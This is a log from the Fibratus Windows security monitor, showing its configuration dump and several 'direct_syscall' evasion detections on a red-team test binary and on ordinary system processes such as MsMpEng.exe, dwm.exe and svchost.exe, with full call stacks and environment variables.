level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5066877 + Pid: 13836 + Tid: 7592 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:55:41.1796624 +0100 CET + Params: callback➜ 7ff7da341000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ ab11eff880, pool_id➜ 281e6fd1a80, subprocess_tag➜ 0, task_id➜ 281e6fe4588 + Metadata: evasions: [direct_syscall] + + Pid: 13836 + Ppid: 18324 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7da341133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7da341418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T16:56:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:56:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T16:56:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T16:56:46+01:00 level=info msg=bootstrapping with pid 14024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T16:56:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] use-template=>true content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-image=>true enable-mem=>false enable-threadpool=>true enable-thread=>true enable-handle=>false enable-audit-api=>true enable-net=>true enable-dns=>false buffer-size=>512 enable-fileio=>true stack-enrichment=>true enable-vamap=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info formatter=>text max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient vhost=>/ exchange-type=>topic enabled=>false passive=>false tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus durable=>false exchange=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ trace-log=>false healthcheck-interval=>10s flush-period=>1s sniff=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 index-name=>fibratus template-name=>fibratus gzip-compression=>false healthcheck=>true timeout=>5s] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s enabled=>false serializer=>json endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-files=>false skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T16:56:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:56:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T16:56:50+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191408 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:47.1715867 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f97e3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f786f C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:50+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191412 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:47.1717653 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279b64 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5ca0bcdb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateTPExclusionsSCCMOnly|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191462 + Pid: 1568 + Tid: 2596 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:47.5824025 +0100 CET + Params: callback➜ 7ffe75177750, callback_module➜ C:\Windows\System32\dwmcore.dll, callback_symbol➜ MilCompositionEngine_CreateChannel, context➜ 1c26610bd40, pool_id➜ 1c266103280, subprocess_tag➜ 0, task_id➜ 1c26612a7a8 + Metadata: evasions: [direct_syscall] + + Pid: 1568 + Ppid: 684 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0x7ffe75059327 C:\Windows\System32\dwmcore.dll!?|0x7ffe7500a7fd C:\Windows\System32\dwmcore.dll!?|0x7ffe7511ab32 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_CreateChannel|0x7ffe751c7ef6 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_Uninitialize|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191493 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:47.9912336 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191500 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:47.9916028 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191757 + Pid: 1168 + Tid: 8484 + Type: SubmitThreadpoolWork + CPU: 0 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:48.6886898 +0100 CET + Params: callback➜ 7ffe75c61cf0, callback_module➜ C:\Windows\System32\PsmServiceExtHost.dll, context➜ 1b884507900, pool_id➜ 1b884103280, subprocess_tag➜ 17, task_id➜ 1b884194ee8 + Metadata: evasions: [direct_syscall] + + Pid: 1168 + Ppid: 756 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0x7ffe75c6f87b C:\Windows\System32\PsmServiceExtHost.dll!PsmMemoryLimitNotification2|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191763 + Pid: 1568 + Tid: 2596 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:48.6997241 +0100 CET + Params: callback➜ 7ffe75177750, callback_module➜ C:\Windows\System32\dwmcore.dll, callback_symbol➜ MilCompositionEngine_CreateChannel, context➜ 1c26610bd40, pool_id➜ 1c266103280, subprocess_tag➜ 0, task_id➜ 1c26612a7a8 + Metadata: evasions: [direct_syscall] + + Pid: 1568 + Ppid: 684 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData 